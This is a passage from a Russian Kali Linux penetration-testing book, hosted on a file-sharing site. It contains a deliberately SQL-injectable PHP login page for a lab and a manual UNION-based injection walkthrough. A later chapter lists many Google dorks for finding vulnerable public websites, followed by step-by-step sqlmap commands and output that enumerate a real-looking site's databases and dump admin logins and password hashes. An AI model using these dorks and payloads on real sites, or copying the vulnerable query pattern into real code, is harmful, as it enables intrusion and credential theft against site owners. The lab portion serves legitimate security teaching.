Главная страница
Образовательный портал Как узнать результаты егэ Стихи про летний лагерь 3агадки для детей
qrcode

хорошая-книга-Kali-Linux. Инструкция для установки на компьютер и в виртуальную машину 9 Глава Установка Дополнений гостевой ос virtualBox для Kali Linux


Скачать 24.11 Mb.
НазваниеИнструкция для установки на компьютер и в виртуальную машину 9 Глава Установка Дополнений гостевой ос virtualBox для Kali Linux
Анкорхорошая-книга Kali-Linux.pdf
Дата09.08.2017
Размер24.11 Mb.
Формат файлаpdf
Имя файлаkhoroshaya-kniga-Kali-Linux.pdf
оригинальный pdf просмотр
ТипИнструкция
#24771
страница12 из 20
КаталогОбразовательный портал Как узнать результаты егэ Стихи про летний лагерь 3агадки для детей
Образовательный портал Как узнать результаты егэ Стихи про летний лагерь 3агадки для детей
1   ...   8   9   10   11   12   13   14   15   ...   20

Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:



По материалам сайта WebWare.biz
208
Тестирование на проникновение с помощью Kali Linux 2.0
9|

10|
Введите ваше имя
11|

12|
Введите ваш пароль
13|

14|

15|

16|
17|
$mysqli = new mysqli("localhost", "root", "", "db_library");
18|
if (mysqli_connect_errno()) {
19|
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
20|
exit();
21|
} else {
22|
$mysqli->query("SET NAMES UTF8");
23|
$mysqli->query("SET CHARACTER SET UTF8");
24|
$mysqli->query("SET character_set_client = UTF8");
25|
$mysqli->query("SET character_set_connection = UTF8");
26|
$mysqli->query("SET character_set_results = UTF8");
27|
}
28|
$name = filter_input(INPUT_GET, 'name');
29|
$password = filter_input(INPUT_GET, 'password');
30|
if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = '$name' AND password = $password")) {
31|
while ($obj = $result->fetch_object()) {
32|
echo "
Ваше имя: $obj->name
33|
Ваш статус: $obj->status
34|
Доступные для Вас книги: $obj->books

";
35|
}
36|
} else {
37|
printf("Ошибка: %s\n", $mysqli->error);
38|
}
39|
$mysqli->close();
40|
?>
41|

По материалам сайта WebWare.biz
209
Тестирование на проникновение с помощью Kali Linux 2.0
разместите в любое место на сервере — это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.
В файл index.php в качестве имени пользователя базы данных задан root, а пароль — пустой. Вы можете вписать свои данные, отредактировав строчку:
1|
$mysqli = new mysqli("localhost", "root", "", "db_library");
По легенде, это форма входа в он-лайн версию Бобруйской районной библиотеки. Нам уже дали учётные данные: имя пользователя — Demo, пароль — 111.
Давайте введём их и посмотрим:
Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или

По материалам сайта WebWare.biz
210
Тестирование на проникновение с помощью Kali Linux 2.0
пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.
Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:
1|
SELECT * FROM `members` WHERE name = '$name' AND password ='$password'
Слово SELECT в SQL-запросе показывает, какие данные нужно получить. Например, можно было бы указать SELECT name, или SELECT name, password. Тогда в первом бы случае из таблицы было бы получено только имя, а во втором — только имя и пароль.
Звёздочка говорит, что нужно получить все значения. Т.е. SELECT * — это означает получить все значения.
FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.
Далее WHERE, если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае
(name = '$name') AND (password ='$password') означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная '$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется
(неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = '$name' AND password
='$password' означает: в таблице `members` взять значения всех полей, если для них выполняется условие — совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.
Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:
Адресная строка: https://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

По материалам сайта WebWare.biz
211
Тестирование на проникновение с помощью Kali Linux 2.0
Никакие данные не получены, вместо них мы видим ошибку:
1|
Ошибка: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '111'' at line 1
При введении верных данных, наш запрос выглядел так:
1|
SELECT * FROM `members` WHERE name = 'Demo' AND password ='111'
При добавлении кавычки, наш запрос превращается в следующее:
1|
SELECT * FROM `members` WHERE name = 'Demo' ' AND password ='111'
Я поставил дополнительные пробелы для наглядности, т. е. у нас получается запрос:
1|
SELECT * FROM `members` WHERE name = 'Demo'
Кстати, запрос верный по синтаксису. И сразу после него, без каких либо разделителей идёт продолжение запроса:
1|
' AND password ='111'
Оно-то всё и ломает, поскольку количество открывающих и закрывающих кавычек не равно. Можно, например, подставить ещё одну кавычку:
1|
SELECT * FROM `members` WHERE name = 'Demo' ' ' AND password ='111'
Адресная строка: https://localhost/test/mysql-inj-lab1/index.php?name=Demo''&password=111
Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?
Ответ есть — это комментарии.
Комментарии в MySQL можно задать тремя способами:
# (решётка — работает до конца строки)
(два тире — работают до конца строки, нужен символ пробела после двух тире)

По материалам сайта WebWare.biz
212
Тестирование на проникновение с помощью Kali Linux 2.0
/* это комментарий */ группа из четырёх символов — всё, что внутри — это комментарий, всё, что до или после этой группы символов, не считается комментарием.
Давайте в наш запрос с одной кавычкой, после этой кавычки поставим знак комментария, чтобы отбросить хвостик, и знак +, который обозначает пробел, чтобы запрос получился таким:
1|
SELECT * FROM `members` WHERE name = 'Demo' --+ ' AND password ='111'
Адресная строка: https://localhost/test/mysql-inj-lab1/index.php?name=Demo'—+&password=111
Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo.
Поскольку теперь наш запрос приобрёл вид:
1|
SELECT * FROM `members` WHERE name = 'Demo'
Ведь хвостик —+ ' AND password ='111' превратился в комментарий и больше на запрос не влияет.
Посмотрите ещё раз внимательно на новый запрос:
1|
SELECT * FROM `members` WHERE name = 'Demo'
И в нём больше не проверяется пароль! Т.е. зная имена легитимных пользователей, но не зная их паролей, мы можем просматривать их личные данные. Т.е. мы уже начали эксплуатировать SQL-инъекцию.
К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.
Посмотрим внимательно на эту часть запроса:
1|
WHERE name = 'Demo'
Помните про AND, которое используется в первом запросе? Оно означает логическую операции «И». Напомню, логическая операции «И» выдаёт «истина» (1) только если оба выражения являются истиной. Но логический оператор «ИЛИ» выдаёт «истина» (1) даже если хотя бы одно из выражений является истиной. Т.е. выражение:
1|
WHERE name = 'Demo' OR 1
Всегда будет истиной, всегда будет возвращать 1. Поскольку одно из двух сравниваемых выражений всегда возвращает 1.
Т.е. нам нужно составить выражение, которое будет выгладить так:
1|
SELECT * FROM `members` WHERE name = 'Demo' OR 1
Адресная строка: https://localhost/test/mysql-inj-lab1/index.php?name=Demo' OR 1 —+ &password=111

По материалам сайта WebWare.biz
213
Тестирование на проникновение с помощью Kali Linux 2.0
Результат:
Результат отличный! Мы получили список всех записей в таблице.
ORDER BY и UNION — главные друзья SQL-инъекций
Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!
UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь.
Но вот для SQL-инъекций ценнее этого слова нет.
UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.
ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:

По материалам сайта WebWare.biz
214
Тестирование на проникновение с помощью Kali Linux 2.0
Адресная строка: https://localhost/test/mysql-inj-lab1/index.php?name=-1' ORDER BY 1 —+ &password=111
Запрос выглядит так:
1|
SELECT * FROM `members` WHERE name = '-1' ORDER BY 1
Мы заменили имя пользователя на -1 чтобы не выводились никакие данные.
Ошибки нет, также нет ошибки и при запросах:
1|
SELECT * FROM `members` WHERE name = '-1' ORDER BY 2 2|
SELECT * FROM `members` WHERE name = '-1' ORDER BY 3 3|
SELECT * FROM `members` WHERE name = '-1' ORDER BY 4 4|
SELECT * FROM `members` WHERE name = '-1' ORDER BY 5
А вот запрос:
1|
SELECT * FROM `members` WHERE name = '-1' ORDER BY 6
Ему соответствует адресная строка: https://localhost/test/mysql-inj-lab1/index.php?name=-1' ORDER BY 6 —+ &password=111
Выдал ошибку:
1|
Ошибка: Unknown column '6' in 'order clause'

По материалам сайта WebWare.biz
215
Тестирование на проникновение с помощью Kali Linux 2.0
Это означает, что из таблицы выбираются данные по пяти колонкам.
Конструируем наш запрос с UNION:
Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.
1|
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3,4,5
Адресная строка: https://localhost/test/mysql-inj-lab1/index.php?name=-1' UNION SELECT 1,2,3,4,5 —+
&password=111
Пробуем:

По материалам сайта WebWare.biz
216
Тестирование на проникновение с помощью Kali Linux 2.0
Другой способ нахождения количества столбцов — с помощью того же UNION.
Лесенкой прибавляем количество столбцов:
1|
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1 2|
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2 3|
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3 4|
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3,4
Все они будут вызывать одну и туже ошибку:
1|
Ошибка: The used SELECT statements have a different number of columns
Делайте так пока не исчезнет сообщение об ошибке.
Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.
Что писать в SELECT
Есть некоторые функции, которые можно писать непосредственно в UNION:

DATABASE() — показать имя текущей базы данных

CURRENT_USER() — показывает имя пользователя и имя хоста

@@datadir — выводит абсолютный путь до базы данных

USER() — имя пользователя

VERSION() — версия базы данных
В нашем примере выводятся поля 2, 4 и 5. Т.е. мы можем использовать любое из этих полей.
Используем DATABASE() в UNION SELECT
Адрес: https://localhost/test/mysql-inj-lab1/index.php?name=-1' UNION SELECT 1,2,3,4,DATABASE()
—+ &password=111

По материалам сайта WebWare.biz
217
Тестирование на проникновение с помощью Kali Linux 2.0
Результат:
Используем CURRENT_USER() в UNION SELECT
Адрес: https://localhost/test/mysql-inj-lab1/index.php?name=-1'
UNION
SELECT
1,2,3,4,CURRENT_USER() —+ &password=111
Результат:

По материалам сайта WebWare.biz
218
Тестирование на проникновение с помощью Kali Linux 2.0
Используем @@datadir в UNION SELECT
Адрес: https://localhost/test/mysql-inj-lab1/index.php?name=-1' UNION SELECT 1,2,3,4,@@datadir
—+ &password=111
Результат:
Получение имён таблицы, полей и дамп базы данных
В базе данных information_schema есть таблица, которая называется tables. В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных — 'db_library' (имя мы узнали с помощью DATABASE()).
Это называется полная техника UNION. Материала по ней предостаточно в Интернете.
На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка:
1|
Ошибка: Illegal mix of collations for operation 'UNION'
Не работает не из-за кривизны рук, поскольку у sqlmap также эта техника не приносит результатов:
1|
something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
Возможно, это связано с версией MySQL 5.6. Т.к. привести практических примеров я не могу, а переписывать чужие неработающие команды мне не интересно — сейчас и без меня в Интернете развелось «великих теоретиков» сколько угодно, то я решил сразу перейти к рассмотрению частичной технике UNION. Но это не самая простая техника, да и статья уже получилась достаточно большой.
В следующей части статьи мы изучим частичную технику UNION, с её помощью мы получим все данные на сервере: имена баз данных, имена их таблиц и полей в этих

По материалам сайта WebWare.biz
219
Тестирование на проникновение с помощью Kali Linux 2.0
таблицах, а также их содержимое. Пока ждёте появления второй части — тренируйтесь, почитайте о SQL-инъекциях и технике UNION, дополнительно рекомендуются к ознакомлению следующие статьи:

Использование SQLMAP на Kali Linux: взлом веб-сайтов и баз данных через SQL- инъекции

Защита сайта от взлома: предотвращение SQL-инъекций

Как запустить sqlmap на Windows
П.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL- инъекциях.
Глава 35. Использование SQLMAP на Kali Linux: взлом веб-сайтов
и баз данных через SQL-инъекции
Если вы являетесь пользователем Windows, то обратитесь к статье "Как запустить
sqlmap на Windows". А если вы обнаружили уязвимости в ваших скриптах, то
обратитесь к статье "Защита сайта от взлома: предотвращение SQL-инъекций".
Каждый раз, рассказывая об очередной программе, присутствующей в Kali Linux, я задумываюсь, какие последствия это может вызвать? Эта статья была готова уже давно, но я всё как-то не решался опубликовать её. На самом деле, те, кто взламывают чужие сайты, уже давно и сами знают как пользоваться этой и многими другими программами. Зато среди (начинающих) программистов встречается огромное количество тех, кто вообще будто бы не задумывается о безопасности своих веб- приложений. Я прекрасно понимаю эту ситуацию, когда ты изучаешь PHP, то большим достижением и облегчением является то, что твоя программа вообще работает!
Времени всегда не хватает и в этих условиях изучать теорию защиты веб-приложений кажется просто неразумным расточительством.

По материалам сайта WebWare.biz
220
Тестирование на проникновение с помощью Kali Linux 2.0
В этой статье я рассказываю о программе SQLMAP, которая поможет проверить ваши скрипты на уязвимость к SQL-инъекциям.
В общем, я надеюсь, что знания, полученные в этой статье, будут использоваться этично и с пользой для всех.
SQL-инъекция — это техника внедрения кода, используемая для атаки на приложение, управляющее данными, в которой (в технике) вредоносные SQL запросы вставляются в поле ввода для исполнения (например, для получения атакующим содержания дампа базы данных). SQL-инъекция должна эксплуатировать уязвимость в безопасности программ, например, когда пользовательский ввод некорректно фильтруется на наличие различных специфичных символов, включённых в SQL запросы, или когда пользовательский ввод не типизирован строго и выполняется неожиданным образом.
SQL-инъекция — это самый широко известный вектор атаки не веб-сайты, но она может быть использована для атаки на любые типы SQL базы данных. В этой инструкции я покажу вам как с помощью программы SQLMAP эксплуатировать SQL-инъекции на Kali
Linux и, в конечном итоге, хакнуть веб-сайт (точнее говоря, базу данных) и извлечь имена пользователей и пароли на Kali Linux.
На всякий случай: Если у вас еще нет Kali Linux, то о том где скачать и как установить читайте в статье «Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину» — это одна из популярнейших статей на портале.
А всевозможные мануалы, инструкции использования ищите на сайте WebWare.biz по тэгу Kali Linux.
Что такое SQLMAP
sqlmap это инструмент с открытым кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатирования уязвимостей для SQL- инъекций и захвата серверов баз данных. Он поставляется с мощным движком анализа, большим количеством специфичных функций для максимального тестирования на проникновения и широким спектром возможностей простирающихся от выявления типа баз данных по «отпечаткам», охватывает получение информации из базы данных и вплоть до доступа к файловой системе и выполнения команд на ОС через нестандартный доступ к системе.
Особенности

Полная поддержка систем управления базами данных MySQL, Oracle,
PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,
Sybase и SAP MaxDB.

Полная поддержка шести техник SQL-инъекции: слепая на логической основе, основанная на времени слепая, основанная на ошибках, UNION запрос, сложные запросы и нестандартный доступ.

Поддержка прямого соединения к базе данных без прохода через SQL- инъекцию путём предоставления полномочий СУБД, IP адреса, порта и имени базы данных.

Поддержка перебора пользователей, хешей паролей, привилегий, ролей, баз данных, таблиц и колонок.

Автоматическое распознавание формата хеша пароля и поддержка их взлома используя основанную на словаре атаку.

По материалам сайта WebWare.biz
221
Тестирование на проникновение с помощью Kali Linux 2.0

Поддержка, по выбору пользователя, создания дампа всех таблиц, определённого их диапазона или специфичных колонок.

Пользователь также может выбрать создание дампа только диапазона символов каждого вхождения колонки.

Поддержка поиска специфичных имён баз данных, специфичных таблиц по полным базам данных или по отдельным колонкам всех таблиц баз данных. Это полезно, например, для идентификации таблиц, содержащих учётные данные приложения, где соответствующие имена колонок содержат строки вроде name и pass (имя и пароль).

Поддержка загрузки и выгрузки любого файл с (на) файловую системы сервера базы данных, когда используются такие программы баз данных как MySQL,
PostgreSQL или Microsoft SQL Server.

Поддержка выполнения произвольных команд и получение их стандартного вывода на операционной системе, под которой запущен сервер базы данных, когда используются такие программы баз данных как MySQL, PostgreSQL и
Microsoft SQL Server.

Поддержка установки нестандартного соединения (out-of-band) TCP между атакующей машиной и операционной системой на которой работает база данных. Этим каналом могут быть интеративные командные запросы, сессия
Meterpreter или сессия графического пользовательского интерфейса (VNC) — по выбору пользователя.

Поддержка процесса повышения прав пользователя через команды Metasploit передаваемые Meterpreter.
Пожалуйста, всегда держите в голове мысль о пользователе, который тратит своё время и усилия на поддержание веб-сайта и, возможно, жизненно зависит от него.
Ваши действия могут повлиять на кого-то так, как вы этого никогда не желали. Я не знаю, как ещё доходчивее объяснить это вам.
Собственно, приступим:
Шаг 1: Ищем уязвимый веб-сайтов
Это, как правило, самое творческое действие и занимает больше времени, чем другие шаги. Те, кто знает как использовать Google Dorks уже понимают, что нужно делать. Но в том случае, если вы не знаете, то я собрал вместе ряд строк, которые вы можете искать в Гугл. Просто скопируйте-вставьте любую из этих строк в Гугл, и Гугл покажет вам то, что сумел найти.
Шаг 1.а: Строки Google Dorks для поиска уязвимых к SQLMAP SQL веб-
сайтов
Этот список действительно большой. У меня заняло много времени для его сбора. Если вы понимаете принцип отбора, тогда вы можете дополнить его. Оставляйте ваши дополнения к списку в комментариях, я добавлю их сюда.

По материалам сайта WebWare.biz
222
Тестирование на проникновение с помощью Kali Linux 2.0
Google Dork string Column 1
Google Dork string Column
2
Google Dork string Column 3
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id= inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id= inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr= inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id= inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id= inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID= inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?= inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id= inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id= inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id= inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id= inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id= inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id= inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id= inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id= inurl:news.php?id= inurl:newsticker_info.php?id n= inurl:collectionitem.php?id= inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id= inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id= inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id= inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id= inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id= inurl:declaration_more.php?de cl_id= inurl:news_view.php?id= inurl:pop.php?id= inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id= inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id= inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id= inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=

По материалам сайта WebWare.biz
223
Тестирование на проникновение с помощью Kali Linux 2.0
inurl:gallery.php?id= inurl:fiche_spectacle.php?id
= inurl:clubpage.php?id= inurl:article.php?id= inurl:communique_detail.ph p?id= inurl:memberInfo.php?id= inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id= inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id= inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id= inurl:readnews.php?id= inurl:index.php?id= inurl:shredder- categories.php?id= inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id= inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.ph p?ID= inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id= inurl:Stray-Questions-
View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id= inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id= inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id= inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id= inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id= inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id= inurl:news.php?id= inurl:participant.php?id= inurl:avd_start.php?avd= inurl:download.php?id= inurl:event.php?id= inurl:main.php?id= inurl:product-item.php?id= inurl:review.php?id= inurl:sql.php?id= inurl:chappies.php?id= inurl:material.php?id= inurl:read.php?id= inurl:clanek.php4?id= inurl:prod_detail.php?id= inurl:announce.php?id= inurl:viewphoto.php?id= inurl:chappies.php?id= inurl:article.php?id= inurl:read.php?id= inurl:person.php?id=

По материалам сайта WebWare.biz
224
Тестирование на проникновение с помощью Kali Linux 2.0
inurl:viewapp.php?id= inurl:productinfo.php?id= inurl:viewphoto.php?id= inurl:showimg.php?id= inurl:rub.php?idr= inurl:view.php?id= inurl:galeri_info.php?l= inurl:website.php?id=
Шаг 1.б: Начальная проверка для подтверждения, уязвим ли веб-сайт к
SQLMAP SQL-инъекции
Для каждой строки, которые приведены выше, вы найдёте сотни поисковых результатов. Как узнать, которые из них действительно уязвимы к SQLMAP SQL- инъекции. Есть множество способов и я уверен, что люди будут спорить, какой из них лучший, но для меня следующий является самым простым и наиболее убедительным.
Допустим вы ищите, используя эту строку inurl:rubrika.php?idr=, и один из веб-сайтов в результатах поиска вроде этого:
1|
https://www.sqldummywebsite.name/rubrika.php?id=28
Просто добавьте одиночную кавычку ' в конец URL. (Просто для уверенности " — это двойная кавычка, а ' — это одиночная кавычка).
Следовательно сейчас адрес будет примерно таким:
1|
https://www.sqldummywebsite.name/rubrika.php?id=28'
Если страница вернёт SQL ошибку, значит страница уязвима для SQLMAP SQL-инъекции.
Если она загружается или перенаправляет вас на другую страницу, переходите к следующей странице в результатах поиска Гугл.
Посмотрите на скриншот ниже.

По материалам сайта WebWare.biz
225
Тестирование на проникновение с помощью Kali Linux 2.0
Примеры ошибок SQLi от различных баз данных и языков
Microsoft SQL Server
1|
Server Error in ‘/’ Application. Unclosed quotation mark before the character string
‘attack;’
2|
Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.
3|
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.
MySQL ошибки
1|
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/var/www/myawesomestore.com/buystuff.php on line 12 2|
Error: You have an error in your SQL syntax: check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘’’ at line 12
Oracle ошибки
1|
java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
2|
Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
PostgreSQL Errors
1|
Query failed: ERROR: unterminated quoted string at or near “‘’’”
Шаг 2: Строим список баз данных СУБД используя SQLMAP SQL-инъекцию
Как вы могли увидеть по вышеприведённому скриншоту, я нашёл уязвимый веб-сайт к
SQLMAP SQL-инъекции. Сейчас мне нужно построить список всех баз данных уязвимой
СУБД (это ещё называется перечислением баз данных СУБД). Так как я использую
SQLMAP, то она также скажет мне, какая переменная является уязвимой.
Запустим следующую команду в отношении вашего уязвимого веб-сайта:
1|
sqlmap -u https://www.sqldummywebsite.name/rubrika.php?id=31 --dbs
Здесь:
sqlmap = Имя бинарного файла программы sqlmap
-u = Целевой адрес (например. “https://www.sqldummywebsite.name/rubrika.php?id=31″)
—dbs = Перечислить базы данных СУБД

По материалам сайта WebWare.biz
226
Тестирование на проникновение с помощью Kali Linux 2.0
Скриншот ниже:
Эта команда раскрыла совсем немного интересной информации:
1|
web server operating system: Linux Gentoo
2|
web application technology: Nginx, PHP 5.3.29 3|
back-end DBMS: MySQL 5.0.11 4|
[18:47:01] [INFO] resumed: information_schema
5|
[18:47:01] [INFO] resumed: laminat
Итак, сейчас у нас есть всего лишь одна база данных, в которую стоит заглянуть, information_schema — это стандартная база данных для почти каждой СУБД MYSQL.
Следовательно, направим свой интерес на базу данных laminat.
Шаг 3. Построение списка таблиц целевой базы данных, используя
SQLMAP SQL-инъекцию
Нам нужно знать как много таблицы имеются в СУБД этого веб-сайта и какие у них имена. Чтобы найти эту информацию выполните следующую команду:
1|
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat --tables

По материалам сайта WebWare.biz
227
Тестирование на проникновение с помощью Kali Linux 2.0
Славненько, эта база данных имеет 18 таблиц:
1|
[18:52:25] [INFO] fetching tables for database: 'laminat'
2|
[18:52:25] [INFO] fetching number of tables for database 'laminat'
3|
[18:52:25] [INFO] resumed: 18 4|
[18:52:25] [INFO] resumed: admin
5|
[18:52:25] [INFO] resumed: browser
6|
[18:52:25] [INFO] resumed: diskuse
7|
[18:52:25] [INFO] resumed: diskuse_obor
8|
[18:52:25] [INFO] resumed: diskuse_tema
9|
[18:52:25] [INFO] resumed: historie
10|
[18:52:25] [INFO] resumed: mag_admvolby
11|
[18:52:25] [INFO] resumed: mag_anketa
12|
[18:52:25] [INFO] resumed: mag_autori
13|
[18:52:25] [INFO] resuming partial value: mag_cla
14|
[18:52:25] [WARNING] running in a single-thread mode. Please consider 15| usage of option '--threads' for faster data retrieval
15|
[18:52:25] [INFO] retrieved: ori
16|
[18:54:23] [INFO] retrieved: mag_claori...
Ну и конечно мы хотим проверить, что находится внутри admin, используя SQLMAP SQL- инъекцию, поскольку, возможно, именно она содержит имя пользователя и пароль.

По материалам сайта WebWare.biz
228
Тестирование на проникновение с помощью Kali Linux 2.0
Шаг 4: Построение списка столбцов целевой таблицы выбранной базы
данных используя SQLMAP SQL-инъекцию
Сейчас нам нужно построить список столбцов целевой таблицы admin базы данных нашего веб-сайта, используя SQLMAP SQL-инъекцию. SQLMAP SQL-инъекция делает это действительно простым, запустите следующую команду:
1|
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --columns
1|
[19:57:42] [INFO] fetching columns for table 'admin' in database 'laminat'
2|
[19:57:42] [INFO] resumed: 5 3|
[19:57:42] [INFO] resumed: id
4|
[19:57:42] [INFO] resumed: int(2)
5|
[19:57:42] [INFO] resumed: login
6|
[19:57:42] [INFO] resumed: v
7|
[19:57:42] [INFO] resumed: heslo
8|
[19:57:42] [INFO] resumed: varchar(32)
9|
[19:57:42] [INFO] resumed: jmeno
10|
[19:57:42] [INFO] resumed: varchar(20)
11|
[19:57:42] [INFO] resumed: stupen
12|
[19:57:42] [INFO] resumed: int(1)
13|
Database: laminat
14|
Table: admin
15|
[5 columns]
16|
+--------+--------------------+
17|
| Column | Type |
18|
+--------+--------------------+
19|
| heslo | varchar(32) |
20|
| id | int(2) |
21|
| jmeno | varchar(20) |
22|
| login | v |
23|
| stupen | int(1) |
24|
+--------+--------------------+

По материалам сайта WebWare.biz
229
Тестирование на проникновение с помощью Kali Linux 2.0
АГА! Это точно то, что мы ищем. Если вы не поняли причин моей радости, то небольшой урок лингвистики:
«heslo» — на чешском означает «пароль»
«stupen» — на чешском означает «степень»
А «login» означает на чешском «логин».
Т.е. в этой таблице есть имя пользователя и пароль.
Шаг 5: С помощью SQLMAP SQL-инъекции построим список
пользователей из целевого столбца выбранной базы данных
SQLMAP SQL-инъекция делает это простым! Просто снова выполните команду:
1|
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --dump

По материалам сайта WebWare.biz
230
Тестирование на проникновение с помощью Kali Linux 2.0
Это командой мы получим полный дамп таблицы. Но если, например, таблица большая, и эксплуатируется слепая инъекция, то, для экономии времени можно модифицировать команду:
1|
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C login -- dump
Мы получим список пользователей.
Почти закончили, теперь нам нужны пароли к этим пользователям. Следующим шагом мы их получим.
Шаг 6: С помощью SQLMAP SQL-инъекции извлекаем пароли из целевого
столбца таблицы выбранной базы данных
Думаю, вы уже поняли какая команда будет следующей. Что ж, приступим:
1|
sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C heslo -- dump
ТАДА!! У нас есть пароль.
Но постойте, этот пароль выглядит забавно. Это не может быть чьим-то паролем. Кто- то, кто оставил подобную уязвимость в своём веб-сайте просто не может иметь пароль вроде этого.
Именно так и есть. Это хэш пароля. Это означает, что пароль зашифрован и сейчас нам нужно расшифровать его.

По материалам сайта WebWare.biz
231
Тестирование на проникновение с помощью Kali Linux 2.0
На самом деле, по-большому счёту, программа sqlmap сама всё сделает за нас.
Найдя пароли, она спросит, do you want to store hashes to a temporary file for eventual
